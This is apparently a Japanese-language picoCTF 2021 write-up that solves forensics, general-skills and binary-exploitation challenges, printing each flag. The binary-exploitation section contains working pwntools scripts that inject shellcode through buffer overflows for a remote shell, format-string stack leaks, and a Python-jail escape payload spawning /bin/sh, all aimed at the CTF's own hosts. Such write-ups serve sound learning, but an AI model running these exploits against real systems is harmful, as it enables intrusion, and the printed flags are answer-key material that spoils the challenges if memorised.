$ gunzip -d dds1-alpine.flag.img.gz $ strings dds1-alpine.flag.img | grep pico ffffffff81399ccf t pirq_pico_get ffffffff81399cee t pirq_pico_set ffffffff820adb46 t pico_router_probe SAY picoCTF{f0r3ns1c4t0r_n30phyt3_ad5c96c0}
picoCTF{f0r3ns1c4t0r_n30phyt3_ad5c96c0}
Disk, disk, sleuth! II - 130 points
All we know is the file with the flag is named
down-at-the-bottom.txt
... Disk image: dds2-alpine.flag.img.gz
Autopsy に読み込ませ、キーワード検索で down-at-the-bottom.txt
と検索すると、該当のファイルが見つかる。
_ _ _ _ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( p ) ( i ) ( c ) ( o ) ( C ) ( T ) ( F ) ( { ) ( f ) ( 0 ) ( r ) ( 3 ) ( n ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ _ _ _ _ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( s ) ( 1 ) ( c ) ( 4 ) ( t ) ( 0 ) ( r ) ( _ ) ( n ) ( 0 ) ( v ) ( 1 ) ( c ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ _ _ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( 3 ) ( _ ) ( 6 ) ( 9 ) ( a ) ( b ) ( 1 ) ( d ) ( c ) ( 8 ) ( } ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
picoCTF{f0r3ns1c4t0r_n0v1c3_69ab1dc8}
Milkslap - 200 points
Chrome DevTools の Network を開きながら、http://mercury.picoctf.net:7585/ にアクセスすると、画像ファイルがダウンロードされていることが分かる。
フォレンジック問題なので、画像をダウンロードして zsteg に読み込ませるとフラグが表示された。
$ wget http://mercury.picoctf.net:7585/concat_v.png $ zsteg concat_v.png imagedata .. file: FoxPro FPT, blocks size 65280, next free block index 30592456 b1,b,lsb,xy .. text: "picoCTF{imag3_m4n1pul4t10n_sl4p5}\n" b1,bgr,lsb,xy .. <wbStego size=9706075, data="\xB6\xAD\xB6}\xDB\xB2lR\x7F\xDF\x86\xB7c\xFC\xFF\xBF\x02Zr\x8E\xE2Z\x12\xD8q\xE5&MJ-X:\xB5\xBF\xF7\x7F\xDB\xDFI\bm\xDB\xDB\x80m\x00\x00\x00\xB6m\xDB\xDB\xB6\x00\x00\x00\xB6\xB6\x00m\xDB\x12\x12m\xDB\xDB\x00\x00\x00\x00\x00\xB6m\xDB\x00\xB6\x00\x00\x00\xDB\xB6mm\xDB\xB6\xB6\x00\x00\x00\x00\x00m\xDB", even=true, mix=true, controlbyte="["> b2,r,lsb,xy .. file: SoftQuad DESC or font file binary b2,r,msb,xy .. file: VISX image file b2,g,lsb,xy .. file: VISX image file b2,g,msb,xy .. file: SoftQuad DESC or font file binary - version 15722 b2,b,msb,xy .. text: "UfUUUU@UUU" b4,r,lsb,xy .. text: "\"\"\"\"\"#4D" b4,r,msb,xy .. text: "wwww3333" b4,g,lsb,xy .. text: "wewwwwvUS" b4,g,msb,xy .. text: "\"\"\"\"DDDD" b4,b,lsb,xy .. text: "vdUeVwweDFw" b4,b,msb,xy .. text: "UUYYUUUUUUUU"
picoCTF{imag3_m4n1pul4t10n_sl4p5}
General Skills(7問)
Obedient Cat - 5 points
This file has a flag in plain sight (aka "in-the-clear"). Download flag.
ダウンロードして、cat で表示するだけ
$ cat flag picoCTF{s4n1ty_v3r1f13d_b5aeb3dd}
picoCTF{s4n1ty_v3r1f13d_b5aeb3dd}
Python Wrangling - 10 points
Python scripts are invoked kind of like programs in the Terminal... Can you run this Python script using this password to get the flag?
ende.py、flag.txt.en、pw.txt をダウンロードして、ende.py を実行する。 ende.py の出力にしたがって、以下のように入力すると、フラグが表示される。
$ python3 ende.py Usage: ende.py (-e/-d) [file] $ python3 ende.py -d flag.txt.en Please enter the password:aa821c16aa821c16aa821c16aa821c16 picoCTF{4p0110_1n_7h3_h0us3_aa821c16}
picoCTF{4p0110_1n_7h3_h0us3_aa821c16}
Wave a flag - 10 points
Can you invoke help flags for a tool or binary? This program has extraordinarily helpful information...
warm をダウンロードして実行する。 warm の出力にしたがって、以下のように入力すると、フラグが表示される。
$ ./warm Hello user! Pass me a -h to learn what I can do! $ ./warm -h Oh, help? I actually don't do much, but I do have this flag here: picoCTF{b1scu1ts_4nd_gr4vy_755f3544}
picoCTF{b1scu1ts_4nd_gr4vy_755f3544}
Nice netcat... - 15 points
There is a nice program that you can talk to by using this command in a shell:
$ nc mercury.picoctf.net 43239
, but it doesn't speak English...
nc mercury.picoctf.net 43239
に接続すると、10進数と思われる数値がいくつか表示される。
CyberChef の From Decimal で変換すると、フラグが表示される。
picoCTF{g00d_k1tty!_n1c3_k1tty!_7c0821f5}
Static ain't always noise - 20 points
Can you look at the data in this binary: static? This BASH script might help!
static、ltdis.sh をダウンロードする。This BASH script might help と書いてあるので、以下のように実行してみる。
$ ./ltdis.sh static Attempting disassembly of static ... Disassembly successful! Available at: static.ltdis.x86_64.txt Ripping strings from binary with file offsets... Any strings found in static have been written to static.ltdis.strings.txt with file offset
static.ltdis.strings.txt と static.ltdis.x86_64.txt の2つのファイルが生成される。 grep してみると、フラグが見つかった。
$ cat static.ltdis.strings.txt | grep pico 1020 picoCTF{d15a5m_t34s3r_1e6a7731}
picoCTF{d15a5m_t34s3r_1e6a7731}
Tab, Tab, Attack - 20 points
Using tabcomplete in the Terminal will add years to your life, esp. when dealing with long rambling directory structures and filenames: Addadshashanammu.zip
Addadshashanammu.zip をダウンロードして、unzip すると、深い階層に fang-of-haynekhtnamet という ELFファイルがある。 これを実行すると、フラグが表示された。
$ cd ./Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku $ ./fang-of-haynekhtnamet *ZAP!* picoCTF{l3v3l_up!_t4k3_4_r35t!_524e3dc4}
picoCTF{l3v3l_up!_t4k3_4_r35t!_524e3dc4}
Magikarp Ground Mission - 30 points
Do you know how to move between directories and read files in the shell? Start the container,
ssh
to it, and thenls
once connected to begin. Login viassh
asctf-player
with the password,6d448c9c
問題説明欄の横の Lunch Instance でインスタンスを起動する。 SSH の接続先情報が出てくるので、ssh でアクセスする。
問題に書かれている通り、ls すると、フラグの一部と次の命令が書かれたファイルが見つかる。 同じように指示にしたがいながら、コマンドを実行すると、すべてのフラグが見つかる。
$ ls 1of3.flag.txt instructions-to-2of3.txt $ cat 1of3.flag.txt instructions-to-2of3.txt picoCTF{xxsh_ Next, go to the root of all things, more succinctly `/` $ cd / $ ls 2of3.flag.txt boot etc instructions-to-3of3.txt lib64 mnt proc run srv tmp var bin dev home lib media opt root sbin sys usr $ cat 2of3.flag.txt instructions-to-3of3.txt 0ut_0f_\/\/4t3r_ Lastly, ctf-player, go home... more succinctly `~` $ cd ~ $ ls 3of3.flag.txt drop-in $ cat 3of3.flag.txt 5190b070}
picoCTF{xxsh_0ut_0f_\/\/4t3r_5190b070}
Binary Exploitation(6問)
Binary Gauntlet 0 - 10 points
This series of problems has to do with binary protections and how they affect exploiting a very simple program. How far can you make it in the gauntlet? gauntlet
nc mercury.picoctf.net 12294
Ghidra でデコンパイルして処理を確認すると、SIGSEGV が発生したときにフラグを表示するという処理が書かれていた。
バッファサイズが 1000 バイトで用意されているので、適当な値を 2000 バイトぐらい与えると、SIGSEGV が起きる。
$ echo "picoCTF{TEST_FLAG}" > flag.txt $ python3 -c "print('\r' * 2000)" | ./gauntlet picoCTF{TEST_FLAG}
リモートでも同様に実行すると、フラグが表示される。
$ python3 -c "print('\r' * 2000)" | nc mercury.picoctf.net 12294 fbd01d62c0e369e6de3d63b4b21d3830
fbd01d62c0e369e6de3d63b4b21d3830
Stonks - 20 points
I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure! vuln.c
nc mercury.picoctf.net 53437
%p
を入力すると、スタックが表示されたので、Format String Bug がある。
$ python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 53437 Welcome back to the trading app! What would you like to do? 1) Buy some stonks! 2) View my portfolio Using patented AI algorithms to buy stonks Stonks chosen What is your API token? Buying stonks with token: 0x9704410.0x804b000.0x80489c3.0xf7f4ad80.0xffffffff.0x1.0x9702160.0xf7f58110.0xf7f4adc7.(nil).0x9703180.0x2.0x97043f0.0x9704410.0x6f636970.0x7b465443.0x306c5f49.0x345f7435.0x6d5f6c6c.0x306d5f79.0x5f79336e.0x34636462.0x61653532.0xff9a007d.0xf7f85af8.0xf7f58440.0x49625900.0x1.(nil).0xf7de7be9.0xf7f590c0.0xf7f4a5c0.0xf7f4a000.0xff9a6c48.0xf7dd858d.0xf7f4a5c0.0x8048eca.0xff9a6c54.(nil).0xf7f6cf09.0x804b000.0xf7f4a000.0xf7f4ae20.0xff9a6c88.0xf7f72d50.0xf7f4b890.0x49625900.0xf7f4a000.0x804b000.0xff9a6c88. Portfolio as of Mon Apr 5 01:20:56 UTC 2021 2 shares of DSCV 2 shares of RSJR 11 shares of LDZB 12 shares of L 4 shares of L 24 shares of PEI 771 shares of TRAS 190 shares of YSZ 343 shares of GGP Goodbye!
文字列に変換すると、フラグっぽい文字列が確認できる。
$ python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 53437 | tr "." "\n" | xxd -r -p | strings -n1 = K H 0 @ ; = ocip{FTC0l_I4_t5m_ll0m_y_y3n4cdbae52 } @ 8 H D K x mP K x FR
リトルエンディアンで文字列が反転しているので、適当に修正するとフラグになった。
python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 53437 | tr "." "\n" | while read line; do echo $line | xxd -r -p | strings -n1 | rev; done | tr -d "\n" | grep -oE "picoCTF{.*}" picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}
picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}
Binary Gauntlet 1 - 30 points
Okay, time for a challenge. gauntlet
nc mercury.picoctf.net 19968
strcpy のところで Buffer Overflow するので、そこを利用して Shellcode を実行する。
まずは、pattc と patto でオーバーフローする箇所の offset を求める。
$ gdb -q ./gauntlet gdb-peda$ pattc 1000 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x' gdb-peda$ run Starting program: /root/workdir/gauntlet 0x7fffffffe1b0 A A AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x
[----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7ab09c0 (<__strcpy_sse2_unaligned+976>: mov rdx,QWORD PTR [rsi]) RDX: 0x24415a24417724 ('$wA$ZA$') RSI: 0x6023f0 --> 0x24415a24417724 ('$wA$ZA$') RDI: 0x7fffffffe590 --> 0x24415a24417724 ('$wA$ZA$') RBP: 0x41414e4141384141 ('AA8AANAA') RSP: 0x7fffffffe228 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...) RIP: 0x40074e (<main+199>: ret) R8 : 0x24415a2441772441 ('A$wA$ZA$') R9 : 0x2441702441532441 ('A$SA$pA$') R10: 0x7fffffffdf60 --> 0x0 R11: 0x7ffff7b8cfe0 --> 0xfff23980fff23970 R12: 0x4005a0 (<_start>: xor ebp,ebp) R13: 0x7fffffffe300 ("lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPA"...) R14: 0x0 R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400743 <main+188>: call 0x400550 <strcpy@plt> 0x400748 <main+193>: mov eax,0x0 0x40074d <main+198>: leave => 0x40074e <main+199>: ret 0x40074f: nop 0x400750 <__libc_csu_init>: push r15 0x400752 <__libc_csu_init+2>: push r14 0x400754 <__libc_csu_init+4>: mov r15,rdx [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe228 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...) 0008| 0x7fffffffe230 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...) 0016| 0x7fffffffe238 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...) 0024| 0x7fffffffe240 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...) 0032| 0x7fffffffe248 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...) 0040| 0x7fffffffe250 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...) 0048| 0x7fffffffe258 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA"...) 0056| 0x7fffffffe260 ("AuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%W"...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000000000040074e in main () gdb-peda$ patto jAA9AAOAAkAAPA jAA9AAOAAkAAPA found at offset: 120
offset が120だと分かったので、後は Shellcode を呼び出すように調整する。 以下のスクリプトを実行すると、シェルを取ることができた。
#!/usr/bin/env python3 from pwn import * ARCH = 'amd64' FILE = './gauntlet' LIBC = '' HOST = 'mercury.picoctf.net' PORT = 19968 GDB_SCRIPT = ''' break main continue ''' def exploit(io, elf, libc, rop): rdata = io.readuntil(b'\n').strip() buf_addr = int(rdata, 16) log.info(f'buffer address: {hex(buf_addr)}') io.sendline(b'A') offset = 120 shellcode = asm(shellcraft.sh()) payload = shellcode payload += b'A' * (offset - len(shellcode)) payload += pack(buf_addr) log.info(f'payload: {payload}') io.sendlineafter(b'A\n', payload) def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
$ python3 exploit.py REMOTE [*] '/root/workdir/gauntlet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [*] Loaded 14 cached gadgets for './gauntlet' [+] Opening connection to mercury.picoctf.net on port 19968: Done [*] buffer address: 0x7fffffffeb40 [*] payload: b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\xeb\xff\xff\xff\x7f\x00\x00' [*] Switching to interactive mode $ id uid=1651(binary-gauntlet-1_4) gid=1652(binary-gauntlet-1_4) groups=1652(binary-gauntlet-1_4) $ ls flag.txt gauntlet gauntlet_no_aslr xinet_startup.sh $ cat flag.txt 7504344981b9288c5669150ada84894e $
7504344981b9288c5669150ada84894e
What's your input? - 50 points
We'd like to get your input on a couple things. Think you can answer my questions correctly? in.py
nc mercury.picoctf.net 61858
.
pyjail 系の問題のように見えるので、__builtins__.__dict__['eval']('__import__(\"os\").system(\"/bin/sh\")')
と入力してみたところ、シェルを取ることができた。
$ nc mercury.picoctf.net 61858 What's your favorite number? Number? __builtins__.__dict__['eval']('__import__(\"os\").system(\"/bin/sh\")') id uid=1272(what-s-your-input-_4) gid=1273(what-s-your-input-_4) groups=1273(what-s-your-input-_4) ls city_names.txt flag in.py xinet_startup.sh cat flag picoCTF{v4lua4bl3_1npu7_7607377}
picoCTF{v4lua4bl3_1npu7_7607377}
Binary Gauntlet 2 - 50 points
How does ASLR affect your exploit? gauntlet
nc mercury.picoctf.net 49704
Ghidra で確認すると、10行目に Format String Bug、15行目で Buffer Overflow ができそうだと分かる。
ASLR が有効なので、Format String Bug でスタックをリークさせ、そのアドレスを基に Shellcode を呼び出せばよい。
まず 0x4006da に Breakpoint を置いて、printf 後のスタックを確認する。
Breakpoint 1, 0x00000000004006da in main () gdb-peda$ stack 20 0000| 0x7fffffffe1d0 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet") 0008| 0x7fffffffe1d8 --> 0x100000000 0016| 0x7fffffffe1e0 --> 0x0 0024| 0x7fffffffe1e8 --> 0x7fffffffe348 --> 0x7fffffffe598 ("TERM_PROGRAM=vscode") 0032| 0x7fffffffe1f0 --> 0x1 0040| 0x7fffffffe1f8 --> 0x7fffffffe270 --> 0x100000001 0048| 0x7fffffffe200 --> 0x7ffff7ffe1c8 --> 0x0 0056| 0x7fffffffe208 --> 0x0 0064| 0x7fffffffe210 --> 0x1 0072| 0x7fffffffe218 --> 0x40077d (<__libc_csu_init+77>: add rbx,0x1) 0080| 0x7fffffffe220 --> 0x7fffffffe250 --> 0x0 0088| 0x7fffffffe228 --> 0x0 0096| 0x7fffffffe230 --> 0x400730 (<__libc_csu_init>: push r15) 0104| 0x7fffffffe238 --> 0x4005a0 (<_start>: xor ebp,ebp) 0112| 0x7fffffffe240 --> 0x7fffffffe330 --> 0x1 0120| 0x7fffffffe248 --> 0x602010 --> 0xa70243625 ('%6$p\n') 0128| 0x7fffffffe250 --> 0x0 0136| 0x7fffffffe258 --> 0x7ffff7a32f45 (<__libc_start_main+245>: mov edi,eax) 0144| 0x7fffffffe260 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet") 0152| 0x7fffffffe268 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")
次に 0x400721 に Breakpoint を置いて、strcpy 後のスタックを確認する。
Breakpoint 2, 0x0000000000400721 in main () gdb-peda$ stack 20 0000| 0x7fffffffe1d0 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet") 0008| 0x7fffffffe1d8 --> 0x100000000 0016| 0x7fffffffe1e0 ('A' <repeats 98 times>, "\n") 0024| 0x7fffffffe1e8 ('A' <repeats 90 times>, "\n") 0032| 0x7fffffffe1f0 ('A' <repeats 82 times>, "\n") 0040| 0x7fffffffe1f8 ('A' <repeats 74 times>, "\n") 0048| 0x7fffffffe200 ('A' <repeats 66 times>, "\n") 0056| 0x7fffffffe208 ('A' <repeats 58 times>, "\n") 0064| 0x7fffffffe210 ('A' <repeats 50 times>, "\n") 0072| 0x7fffffffe218 ('A' <repeats 42 times>, "\n") 0080| 0x7fffffffe220 ('A' <repeats 34 times>, "\n") 0088| 0x7fffffffe228 ('A' <repeats 26 times>, "\n") 0096| 0x7fffffffe230 ('A' <repeats 18 times>, "\n") 0104| 0x7fffffffe238 ("AAAAAAAAAA\n") 0112| 0x7fffffffe240 --> 0x7fff000a4141 0120| 0x7fffffffe248 --> 0x602010 ('A' <repeats 98 times>, "\n") 0128| 0x7fffffffe250 --> 0x0 0136| 0x7fffffffe258 --> 0x7ffff7a32f45 (<__libc_start_main+245>: mov edi,eax) 0144| 0x7fffffffe260 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet") 0152| 0x7fffffffe268 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")
A が格納されている箇所が、0x7fffffffe1e0 なので、このアドレスをリターンアドレスに書き込めばよい。 0x7fffffffe338 を Format String Bug でリークさせて 0x158 を引けば、0x7fffffffe1e0 になる。
%p をいくつか入力して、何番目の場所をリークさせればよいのかを確認する。 6 行目の箇所がちょうど GDB で確認したときの 0x7fffffffe338 の位置に該当するので、ここをリークさせればよい。
$ python3 -c "print('%p.' * 20)" | ./gauntlet | tr "." "\n" | nl 1 0x7ffff7ff603d 2 0x7ffff7dd59f0 3 0x70252e70252e7025 4 0x7ffff7ff603d 5 0x70252e70252e7025 6 0x7fffffffe348 7 0x100000000 8 (nil) 9 0x7fffffffe358 10 0x1 11 0x7fffffffe280 12 0x7ffff7ffe1c8 13 (nil) 14 0x1 15 0x40077d 16 0x7fffffffe260 17 (nil) 18 0x400730 19 0x4005a0 20 0x7fffffffe340
上記の情報を基に、スクリプトを書いて実行すると、シェルを取ることができた。
#!/usr/bin/env python3 from pwn import * ARCH = 'amd64' FILE = './gauntlet' LIBC = '' HOST = 'mercury.picoctf.net' PORT = 49704 GDB_SCRIPT = ''' break *0x004006da break *0x00400721 continue ''' def exploit(io, elf, libc, rop): payload = b'%6$p' io.sendline(payload) rdata = io.readuntil(b'\n').strip() buf_addr = int(rdata, 16) - 0x158 log.info(f'buffer address: {hex(buf_addr)}') offset = 120 shellcode = asm(shellcraft.sh()) payload = b'' payload += shellcode payload += b'A' * (offset - len(shellcode)) payload += pack(buf_addr) log.info(f'payload: {payload}') io.sendline(payload) def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
$ python3 exploit.py REMOTE [*] '/root/workdir/gauntlet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [*] Loaded 14 cached gadgets for './gauntlet' [+] Opening connection to mercury.picoctf.net on port 49704: Done [*] buffer address: 0x7ffeb28c5080 [*] payload: b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80P\x8c\xb2\xfe\x7f\x00\x00' [*] Switching to interactive mode $ id uid=1307(binary-gauntlet-2_4) gid=1308(binary-gauntlet-2_4) groups=1308(binary-gauntlet-2_4) $ ls flag.txt gauntlet xinet_startup.sh $ cat flag.txt 230fc5c335f1fe302abdc387d498fe40
230fc5c335f1fe302abdc387d498fe40
Here's a LIBC - 90 points
I am once again asking for you to pwn this binary vuln libc.so.6 Makefile
nc mercury.picoctf.net 49464
Ghidra でデコンパイルすると、以下のようになった。
Buffer Overflow の脆弱性があるので、pattc と patto でリターンアドレスまでのオフセットを探す。
